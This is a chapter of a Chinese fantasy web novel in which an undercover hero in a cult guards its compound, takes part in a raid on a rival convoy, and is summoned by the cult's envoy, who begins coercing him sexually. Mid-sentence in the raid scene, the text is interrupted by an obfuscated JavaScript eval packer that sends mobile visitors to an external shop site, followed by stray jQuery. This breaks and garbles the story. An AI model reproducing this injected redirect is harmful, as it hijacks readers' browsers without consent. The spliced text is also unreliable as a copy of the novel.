83.永夜城 五
    次日一早,段星河穿上了黑色的侍卫服,佩着腰刀,成了这里的一名玄鬼。孙堂主安排他和伏顺去守着花园,那里不是什么要紧的地方,机要的地方也不会让他们几个新人站岗。

    段星河站了一上午,默默看着周围的情形,想把地形摸清楚。到处都是松柏,远处是一些高大的楼阁。他借着解手的机会在附近转了一圈,从花园往前就是他们来时的前院,往后就是他们拜师的祠堂。偶尔还有些外人戴着面具往更深处走去,那些人应该是城中有身份的大伥,是来这里集会的。

    这地方的等级很森严,伥鬼和玄鬼要立了功才能升级成为大伥,这个过程可能一年半载,也可能三年五年,能不能升上去全靠运气。低等级的人要无条件服从高等级的人的吩咐,很多秘密也只有高等级的人才能知道,上层的待遇也比下层好得多。因此加入进来的人都拼命想要立功,竭尽所能地往上爬。

    还有一些非人的伥鬼,也不知道是怎么召唤来的。那些真正的伥鬼怕阳光,白天就都藏起来了,一到夜里就神出鬼没的。这里的人都已经习惯了,对它们视而不见,新来的人却被吓得不轻。

    昨天夜里那个打铁匠起来解手,刚解开裤子,就见旁边来了个人。那家伙跟他并排站着,仿佛要跟他一起搭伙尿尿。打铁匠觉得这人怪怪的,低头一看它没有影子,飘在半空中也没有脚。打铁匠被吓得不轻,连滚带爬地冲回了屋里,连声道:“鬼、鬼啊——”

    其他人揉着眼坐起来,纷纷道:“怎么啦?”

    一个待得久一些的人道:“叫什么!”

    打铁匠吓得尿了一鞋,裹着被子直打哆嗦,道:“有鬼,真的是鬼,不是人扮的!”

    伥鬼穿着一身染血的白袍,在走廊里飘飘荡荡的。那人看了一眼,道:“不用管它,被咱们的人杀了就会变成伥,这玩意儿乖得很,不害自家兄弟。”

    其他人都怕的要命,根本不信。那人吹了个口哨,道:“转个圈。”

    那伥鬼便漂浮在空中打了个旋儿,跟自家养的狗子似的。那人道:“这些兄弟是刚来的,你别在这儿溜达,去吧。”

    那伥鬼便飘忽忽地离开了。段星河道:“这东西跟人扮的伥鬼有什么区别?”

    那人道:“这是最下等的使役鬼,脚程快,传令很好使。它们没什么脑子,也不知道害怕,打起架来让它们冲锋陷阵挺好使的。这种伥鬼修炼好了能融合成大伥,专门为大人物做使役鬼。”

    段星河很感兴趣,道:“怎么融合?”

    那人看了段星河一眼,仿佛觉得他问的太多了,道:“上头的人自然有他们的法子,你一个站岗放哨的,管这么多干什么?”

    段星河笑了,道:“就是好奇。”

    那人冷冷道:“这地方知道多了没什么好处,别瞎打听。”

    值完了上午的班,有人来替他们。玄鬼不当班的时候可以在宅子里走动,也可以出去买点东西,但不能去太远的地方。段星河寻思着夜长梦多,低声道:“今天先在宅子里逛逛。”

    伏顺跟着他过了前头两进院,这里还是他们能活动的范围。再往前守卫森严,是一些有身份的人物聚会的地方。段星河绕到了院子侧面,见左右无人,一跃翻了过去。伏顺也是爬墙钻洞的行家,嗖地一下过了墙。

    二人往前走了一阵子,这边比别处更加静谧,建筑也跟先前有些不同,檐角飞扬着,显得颇有气势,屋前有个莲花池。段星河低声道:“这里应该就是夜游神当年的寝殿了。”

    伏顺道:“进去瞧瞧么?”

    正前方有些玄鬼把守着,段星河见侧面窗户开着,他一招手,伏顺便跟着他潜了过去。

    两人趁人不备,从窗户翻了进去。大殿里的陈设十分华丽,地上铺着长绒毯子,家具都是绿檀雕的,正前方摆着个鎏金的交椅,桌上摆着的器具不是金的,就是玉的,深蓝的幔帐垂着,掩着深处的寝殿。

    两个穿着粉色衣裙的侍女端着盘子向外走过来,段星河和伏顺连忙躲在了帷幔后面。侍女没注意到他们,低声道:“收拾好了么?”

    另一人道:“都收拾好了,随时能休息。”

    侍女道:“主子眼里不揉沙子的,等会儿再检查一遍。”

    另一名侍女道:“是。”

    两人出去了,段星河悄然走了出来。他穿过大殿往后走去,伏顺有点紧张,道:“哥,小心点啊。”

    段星河凝神感受过了,这里没人了,这样的机会极其难得,要找什么得赶紧。他快步往寝殿走去,见侧面有一张华丽的大床。靠墙放着几排书架,摆放的都是一些寻常解闷儿的书,大部分有图,还有些万象门的修炼秘籍。

    他拿起一本来看了看,是给大伥等级的人用的功法,没什么大用,但总聊胜于无。他递给了伏顺,伏顺便把书塞进了怀里。两人到处张望了一圈,见前头还有一间屋子。

    那间屋子里放着个丹炉,墙体比别处更厚实,这里应该就是夜游神修炼的地方。一面墙上垂着厚厚的帷幔,里头影影绰绰的,似乎有个人。伏顺吓了一跳,小声道:“哥,你看——”

    两人还以为被发现了,那人却站着一动不动,再仔细一看,原来是一幅壁画。

    段星河哗地一下子拉开了帷幔,就见一个高大的男人戴着面具,威严地看着这边,仿佛要替虺神传播它的意志。

    这幅画跟入门时见到的那幅很像,伏顺道:“他就是夜游神吧,这宽肩窄腰的,确实帅啊。”

    段星河却觉得有些遗憾,没想到都来到这里了,还是看不到夜游神的真面目。这人也不知道是不是作孽太多,走到哪里都不以真面目示人。

    接下来的几张壁画里,有的是他站在山巅之上俯瞰众生,有的是他在东海之畔与蛟龙搏斗,都是他战胜敌人的功绩,万象门的信徒单膝跪在地上,都对他十分崇拜。然而角落里有一张图,跟其他的壁画都不一样,让人看到的一瞬间便心生恐惧。

    夜游神手里拿着一柄重剑,刺穿了一个人的身体。他周围横七竖八地躺着些人,有的脖子上缠着绳子,有的头颅被砍了下来,每个人的表情都狰狞可怖,加起来一共有七具尸体。

    那些人都佩戴着金色的腰牌,是教中等级最高的鬼众,却不知为什么都死了。伏顺倒抽了一口凉气,道:“这是怎么回事?”

    一名女子道:“这些人都是夜尊的侍卫,触怒了他老人家,被他用刑具一一处死。大家把壁画留在这里,就是让后人警醒,对上位者要绝对忠诚。”

    两人吓了一跳,回过头去,却见站在自己身后的居然是薛红玉,那个大个子阿蚺站在大殿里,原来昨天那些人说要来的大人物就是她。她走路像蛇一样悄无声息,两人一时间放松了警惕,被她逮了个正着。

    段星河平日里觉得薛红玉的身份也没有多高,没想到她还是这么多人眼里的大人物。她是纪教主跟前的红人,来到永夜城代表的是纪秋暝的身份,自然比孙堂主尊贵多了。

    她没认出他们来,道:“你们两个鬼鬼祟祟的进来干什么?”

    段星河只能装傻,道:“宅子太大,我们走错了。”

    薛红玉端详着他俩,道:“新来的?”

    伏顺道:“是,小人是新来的,不熟悉路。”

    薛红玉见他身形瘦弱猥琐,不耐烦道:“跟你说话了么。”

    她看向段星河,觉得这人倒是生的高大魁梧,有些看头。她懒懒道:“搜一搜,看他们有没有偷东西。”

    几名玄鬼一拥而上,把他俩按在地上摸了一通,掏出了一本修炼的功法。一人捧到薛红玉跟前,道:“赤练使,他们偷了本书。”

    薛红玉看了一眼,见上头写着妖灵心法,也不是什么特别机密的东西,凡是大伥都人手一份。她道:“偷这个干什么?”

    段星河反应极快,道:“小人想学些本领,早日成为大伥,好多挣些钱养家。”

    伏顺也道:“对不起,我们太想进步了。”

    那两人被按在地上,一副倒霉的模样。薛红玉长途跋涉而来,不想一进门就又打又杀的,冷冷道:“想活命的话就管好自己,不该看的别看,不该碰的别碰。再敢到处乱走,我就杀了你们!”

    段星河和伏顺连忙低头,道:“是。”

    薛红玉一摆手,玄鬼便放了他们。两人站起来,就见孙堂主带着几个人大步赶了过来。阿蚺瞪了他们一眼,嫌他们不懂规矩,道:“乱晃什么,站着别动。”

    两人便退到了一边,正好听听他们说什么。孙堂主进了大殿,右手握成拳按在左心口上,向薛红玉行礼。薛红玉头上戴着金额饰,坐在上首的鎏金交椅上,鲜红的石榴裙拖在宝蓝色的地毯上,极其美艳妖娆,就像一条盘踞着的赤练蛇。以前这里是夜游神坐的地方,如今他不在了,薛红玉便占据了他的宝座。

    孙堂主道:“恭迎赤练使,不知赤练使大驾光临,有何吩咐。”

    薛红玉道:“浩荡盟那帮人最近不安分,打伤了咱们不少兄弟,教主让我出来管管他们。这边人手够么?”

    孙堂主恭敬道:“最近又招纳了不少新人,总共有八百来个,全听赤练使调遣。”

    薛红玉看了一眼大殿外,一个个玄鬼站的像标枪一样,觉得新招的这批人质量还不错。她翘起了二郎腿,道:“明天一早给我二百个人。听说浩荡盟有批镖货要从北边过来,咱们去杀他个人仰马翻,让刘正锋知道咱们万象门不是好惹的!”

    孙堂主道:“是。”

    段星河在一旁听见了,目光微动。浩荡盟的人虽然跟自己有些小过节,但相比起来,还是万象门的人更讨人厌。他本身的立场居于这两者中间,不想管太多闲事,但浩荡盟毕竟是凤神那边的人。如果有机会,自己还是得想办法把消息放出去。

    薛红玉打了个呵欠,道:“行,你去安排吧。给我准备点水,我要洗澡。”

    孙堂主便躬身退了出来,走到庭下一招手,段星河和伏顺便跟过去了。两人出了院子,孙堂主停下来,抡圆了胳膊给了伏顺一个大逼斗,道:“谁让你们上这儿来的?”

    伏顺冷不防被他打懵了,捂着脑袋道:“我俩吃了饭想在附近转转,结果这地方太大了,到处都差不多,我们不小心就走到这里来了。”

    孙堂主抬手又是一巴掌,段星河反应快,一闪身躲过了。伏顺又挨了一下子,委屈道:“堂主,你不能老打我一个啊!”

    孙堂主冷着脸道:“少跟我贫,今天赤练使心情好,没杀你们就算你们命大。去前庭罚站,天黑之前不准回去!”

    伏顺脑瓜子被他打的嗡嗡的,只能自认倒霉。两人穿着薄袄站在前庭罚站,被寒风吹得直打哆嗦,伏顺打了个喷嚏,道:“哥,我好冷啊。”

    段星河往前挪了半步,道:“站我后头。”

    他虽然身材高大,也挡不了多少风,伏顺心里还是安慰了一些,感觉刚才挨的打也没有那么亏了。两个人一直站到傍晚,正想回去歇会儿。这时候就听一阵哨声响,四面八方的人都往中庭跑过去,却是孙堂主喊人集合了。

    打铁匠手里提着一包烧鸡,从旁边冲过来,连饭都来不及放下,扭头道:“愣着干什么,兄弟,站队啦!”

    旁边又有人嚷道:“快快快,迟了要倒三天尿桶的!”

    两人打了个激灵,连忙跑了过去,挤到人群中站好了。这会儿正是饭点,玄鬼们都在自由活动,有人刚从街上买饭回来;有人正在洗头,脑袋还是湿的;有人衣服穿了一半,敞着怀就跑过来了。

    孙堂主看着这群新人狼狈的样子,负手走了一圈,道:“很好,既然加入了万象门,就要遵守组织的纪律。不管你们正在做什么,集合声一响,就要立刻赶过来!”

    众人放声吼道:“是!”

    孙堂主下午已经点集了一些精锐,准备明天跟赤练使出门打架。薛红玉白天见了段星河他们,觉得新招的这一批人有些意思,叫孙堂主带几个一起去,好让他们见见世面。

    孙堂主便把人集合起来,道:“教主座前的赤练使来了,明天要出一趟任务。这是个千载难逢的好机会,需要五个人,你们谁愿意去?”

    众人静了片刻,那打铁匠一直想出人头地,往前迈了一步。先前那个镖局的杨镖头也往前迈了一步,表示愿意前往。段星河正想去瞧瞧热闹,便站了出来,伏顺也跟着他迈了出去。孙堂主随手又从人群中揪出一个胖子,道:“四缺一,你愿不愿去?”

    那胖子原本是个厨子,不敢拒绝,道:“愿意、小人愿意。”

    孙堂主道:“好好休息,明天听指挥,干得好有赏!”

    那五人纷纷道:“是。”

    孙堂主一摆手,众人便散去了。

    次日一早,队长带着二百个玄鬼在前庭集合。段星河等人站在最后面,他们是新来的,领口露出一道白边,其他人的里衣也是黑色的,新人老人一看便知道区别。薛红玉环视了他们一圈,道:“浩荡盟的人对咱们虺神不敬,杀害咱们的兄弟,打压咱们的信徒,咱们能忍得了这口气么?”

    玄鬼们吼道:“不能!”

    “很好,”薛红玉满意道,“他们的人押了一批镖货从北边来,咱们去给他劫了,让浩荡盟的人知道咱们的厉害!”

    玄鬼们纷纷道:“听凭赤练使吩咐!”

    薛红玉一扬手,玄鬼们纷纷上马。宅邸的府门大开,一群人浩浩荡荡地往东而去。凤来城和永夜城之间不算太远,骑马有五天的路程。

    薛红玉带人赶了两天路,提前到了地方埋伏下来。薛红玉怕烧火做饭会暴露行迹,让人只吃了点冷的干粮,一群人把马牵到树林里藏起来,就地休息。打铁匠百无聊赖道:“就这么干等着啊,他们什么时候来?”

    杨镖头坐在一块大石头上,看着周围的地面。他常年押镖,对来往的路很熟悉,道:“从北边去凤来城,这里是必经之路。咱们来的时候地上没有车辙和马蹄印,他们还没到。明天傍晚之前,肯定能等到他们。”

    那厨子啃着干瘪的大饼,感觉一点滋味都没有。段星河来之前也没找到机会把消息放出去,这次浩荡盟的人要是被劫了,只能怪他们运气不好。

    玄鬼们在树林里睡了一宿,天亮时浩荡盟的人还没来,他们人先快冻死了。伏顺呼出了一口白气,道:“有好日子不过,上这儿来受罪……真是钱难挣屎难吃。”

    旁边一人道:“少抱怨,刚来就让你们出任务,是上头瞧得起你们,别不识抬举!”

    伏顺只好闭了嘴,坐在大树边啃饼,一边道:“什么时候来啊。”

    这时候大地一阵颤动,似乎有不少人朝这边来了。他把脑袋贴在地上听了一会儿,激动道:“来了,来人了!”

    有人爬到树上向远处张望,见从北边来了一队人,前头十来个人开路,中间押着十来辆大车,后头又有几十个人压阵,车上竖着一杆蓝底大旗,上头绣着旋涡状的太极图纹样,正是浩荡盟的标志。

    放哨的人抱着树溜下来,奔去跟赤练使报了信。薛红玉早就等的不耐烦了,站起来道:“兄弟们,准备迎战!”

    浩荡盟的人一路没遇到波折,本以为能顺利把东西运到凤来城,没想到该来的还是没躲过。车队驶到近前,就听林子里传来一声唿哨,万象门的玄鬼们从四面八方涌了出来。一群人等了一宿,此时磨刀霍霍,非要打他们一个人仰马翻不可。刘正锋还在凤来城中坐镇,对此一无所知。等消息传到他耳朵里,他的这些小弟都要被打残了。

    带头的是个老镖师,一看对面的人这身打扮就知道了他们的来路。他抱拳道:“几位朋友,我们是浩荡盟的,从此地路过。不知几位有何贵干?”

    阿蚺手里提着一把大砍刀,粗声道:“找的就是你们浩荡盟的。你们杀我万象门的兄弟,欺侮我们的信徒,咱们今天来关照关照你们,这叫礼尚往来。”

    他大手一挥道:“车还挺多,兄弟们,去看看有什么好东西!”

    几名玄鬼提着刀过去,浩荡盟的镖师挡在车前,道:“不准动。”

    阿蚺冷笑一声,道:“就凭你们几个还敢跟我们作对,不让动是吧,给他把车掀了!”

    一群玄鬼一拥而上,提起刀剑就砍。浩荡盟的人拔出兵刃抵挡,一边喊道:“兄弟们,跟他们拼了!”

    双方叮叮当当地打在了一起,打铁匠觉得发达的机会来了,提着大刀就要往上冲。那厨子一把拉住了他,道:“兄弟,小心啊,咱们犯不上刚来就拼命!”

    打铁匠道:“不用怕,让他们见识见识老子的刀有多厉害。”

    杨镖头也道:“我们都会功夫,你要是害怕就找个地方藏着吧。”

    那厨子实在怕死,躲在了一片灌木丛中。段星河本来就想混一混,没想到对面几个人提着刀直接朝他过来了。段星河道:“喂,有话好好说——”

    对面的人根本就不管那么多,提刀就砍,段星河只好举刀招架。那一群玄鬼十分凶蛮,一会儿功夫就把对面的车都掀了,划破了麻袋。里头像流水一样淌出了许多金银珠宝,还

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024251|138533||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有些丝绸布匹,都是给城里的商号进的货。

    薛红玉一看有这么多宝贝,眼睛顿时亮起来,道:“好得很,还知道带好东西来孝敬姑奶奶。等会儿都收走,我要慢慢挑!”

    阿蚺砍翻了几个人,回头一望,就见灌木丛中藏着个胖子,正撅着屁股瑟瑟发抖。阿蚺一把将那厨子揪了出来,道:“人家都打架,你躲在这里当逃兵?”

    厨子颤声道:“不……不是,小人不会武功。”

    阿蚺道:“你不是杀猪的吗,砍人你不会啊?”

    厨子道:“我是做菜的,不是杀猪的。”

    阿蚺懒得跟他纠缠,一脚踢在他屁股上,道:“少废话,给我上!”

    那厨子一个踉跄跌进了战阵里,一把钢刀擦着他头皮划过。厨子吓得一屁股坐在地上,又是两把刀砍了过来,厨子吓得抱住了脑袋,放声惨叫道:“救命啊!”

    就听铛的一声,一把钢刀架住了那两把刀。他睁眼一看,却是段星河救了他。

    段星河的力气大得惊人,把刀往前一挥,便把那两柄刀逼退了。他心道:“我不想伤你们,你们也别跟我为难。”

    对面一人见薛红玉站在一旁,以为她好对付,便要上前来砍她。段星河一刀拦住了那人,抬起一脚把那人踢翻在地。他踢得虽然重,但至多疼一阵子也就没事了,要是薛红玉出手,他可就活不成了。那人却不识好歹,恨声道:“魔教妖人,你助纣为虐,老天必然给你报应!”

    段星河啧了一声,道:“刚才这一脚踢的轻了是不是,再吃我一脚!”

    他说着抬起腿来,那人慌忙就地一滚,段星河追着他钻进了人群里,动作大开大合的,好像打得很积极,其实一直在混。薛红玉的目光跟随了他片刻,微微一扬嘴角道:“这小子不错,回去给他记一功。”

    此时玄鬼一方已经占据了上风,浩荡盟带头的那人眼看情况不利,只能舍下财物,保命要紧。他喝道:“兄弟们,别打了,撤——”

    浩荡盟的众人便聚在一起,跟着那人逃走了。段星河提着刀佯做追了几步,大声喊道:“别跑啊,回来!”

    那帮人倒也不傻,往树林里一钻,眨眼间便不见了身影。

    这边离凤来城不远,那些人回去通风报了信,刘正锋很快就要赶过来。薛红玉本来就是要打他们个措手不及,也没打算久待。她看了一眼地上的东西,其中有不少金银首饰。她十分满意,道:“很好,把东西收拾起来,咱们回去了。”

    玄鬼们驾着大车,骑着马向西而行,算是满载而归。众人怕刘正锋他们追上来,连着赶了一天一夜的路,次日中午回了永夜城。

    薛红玉让众人先去休息,隔天孙堂主笑容满面地来了,让人带了一盘银子过来,道:“事办的不错,这是赤练使赏你们的,凡是去的每人二十两银子。”

    其他玄鬼都已经领了赏钱,就剩下这几个新来的没拿到了。伏顺一个箭步上去拿了两锭银子,在怀里蹭了蹭,眉开眼笑道:“多谢孙堂主,多谢赤练使。”

    其他人也各自拿了赏钱,没去的人很羡慕他们。孙堂主道:“那谁……你,叫什么?”

    他看着这边,段星河道:“小人李大壮,这是我弟李老二。”

    “没问他,”孙堂主对伏顺不感兴趣,只看着段星河道,“你表现不错,赤练使抬举你,让你做副队,以后这些新来的就归你管了。有不懂的问正队,好好学着点。”

    段星河啊了一声,没想到这么快就升官了。孙堂主道:“啊什么啊,你不是挺想进步的吗?”

    他说着一招手,一名白衣伥鬼上前来给了他两件黑色的里衣,这样就跟那些老资格的玄鬼一样了。还有上次没能拿出来的那本妖灵心法,也一并赏给了他。

    孙堂主道:“赤练使说了,愿意学本事是好事。等你把这本书看明白了,她还赏新的秘笈给你。”

    队长看了这边一眼,不知道这小子使了什么迷魂术,这么快就吸引了赤练使的注意,对他有点嫉妒,又很是不屑。

    段星河也不知道薛红玉怎么老盯着自己,都换了张脸了,她居然还跟自己没完没了的。打铁匠十分羡慕,粗声道:“兄弟,你怎么混的,教教我呗。”

    段星河沉默着,心里宁愿她别老盯着自己,压力这么大,说不定哪一会儿就露馅儿了。

    孙堂主道:“把这身脏衣裳换了,洗把脸梳梳头,一会儿去后头见赤练使。她有事吩咐你。”

    段星河有些诧异,道:“找我做什么?”

    孙堂主的表情有点暧昧,含糊道:“让你去你就去,那么多废话干什么。”

    他说着一拂袖,转身走了。段星河坐在大通铺上,寻思了片刻,感觉事情有点不妙。伏顺凑过来,低声道:“哥,你真厉害啊。在哪儿都能混的这么好,这么快就当上头牌了。”

    段星河不爽道:“什么头牌,你会说话不会?”

    伏顺连忙道:“副队、副队。二师兄再不好起来,你都能在这儿当上堂主了。”

    正队往这边看了一眼,道:“嘀嘀咕咕的干什么,赤练使让你去,你怎么还不动?”

    段星河没办法,只好把外衣脱下来,换上了黑色的里衣。他出去洗了把脸,伏顺跟上来道:“哥,我和你一起去。”

    段星河嗯了一声,和他一起往后头去了。上回两人擅自摸过来,被罚站了大半天,这回畅通无阻,段星河反而不想来了。时值黄昏,薛红玉坐在大殿里,身边站着几个白衣伥鬼,又有几个玄鬼匍匐在地上。

    玄鬼都生的精壮结实,赤裸着上半身。薛红玉闲来无事拿他们取乐,她从水晶盘里拿起一个红彤彤的橘子,道:“想吃么?”

    一群玄鬼趴在地上,盯着她雪白的手,目光极其渴望。薛红玉把橘子往地上一抛,玄鬼们立刻冲上去抢夺那一个橘子。薛红玉笑的前仰后合,道:“抢得好,谁抢赢了,本座重重有赏!”

    那些人毫无尊严,就像一群狗一样,不但龇牙咧嘴,还汪汪直叫。段星河进来时,见一群半裸的男人正在互相撕咬,震惊地停住了脚步。薛红玉看向了他,招了招手道:“等你好久了,过来。”

    段星河缓步走过去,眉头抑制不住地皱了起来。薛红玉道:“别怕,本座看你资质不错,打算抬举你。只要你听我的,包你有享不尽的荣华富贵。”

    段星河往后退了一步,显然不想领她的情。然而地上趴着的那些人却十分嫉妒,一个个恶狠狠地盯着他,眼里几乎要冒出火来。

    薛红玉一把揪住了他的衣领,把段星河拖到跟前去。周围的白衣伥鬼对此视而不见,趴在地上的那些玄鬼则像狗一样,匍匐着不敢动弹。薛红玉伸出一根手指,轻轻拨开他的领口,慢慢往下划去,充满了挑逗之意。段星河心里一阵窝火,要是在外头,自己根本不会给她近身的机会,如今陷在虎狼窝里要被这妖女摆布。

    他来之前只想卧底,可没打算失身。他让开一步,一手按住了衣襟道:“赤练使,这样不妥。”

    薛红玉微微一笑,道:“这么大人了还会害羞。脸皮薄的好啊,调教起来更有意思。”

    段星河正色道:“我家里有个青梅竹马的定亲对象,我出来挣钱就是为了娶她的。”

    薛红玉一副无所谓的模样,道:“那叫她一起来啊。咱们万象门的人都是兄弟姐妹,不用讲究外头那套。肉/体融合了,精神才能亲密无间,极致的快乐也是献给虺神的贡品。”

    谁家正经人会把未婚妻带来搞这乱七八糟的,段星河觉得她是疯了,冷冷道:“我做不到。”

    刚来的多少都有点要面子,不少像倔驴一样的人最后还是被驯服了。薛红玉也不以为忤,道:“这你就受不了了,你还没见过拜月教的人呢。论起玩的花,咱们都要甘拜下风。”

    段星河道:“什么拜月教?”

    薛红玉笑了,腻声道:“你什么也不懂,小笨蛋。来,给他把东西戴上。”

    一名白衣伥鬼出去了,片刻从外面牵了一条大狼狗进来。狼狗生的个头高大,浑身黝黑,牙齿雪白,不知是不是吃过人肉,眼睛里透着血红色,不住有口水从嘴角滴答下来。它嘴上戴着个铁嘴套,用皮带紧紧地扣在后脑上,带着一股逼人的气势。

    一名伥鬼上前把狼狗的嘴套取了下来,来到了段星河面前。段星河有种不好的预感,皱眉道:“干什么?”

    屋里的人都十分兴奋,薛红玉翘起了二郎腿,好整以暇地看着他。那名伥鬼嘿嘿一笑,道:“干什么,马上你就知道了!”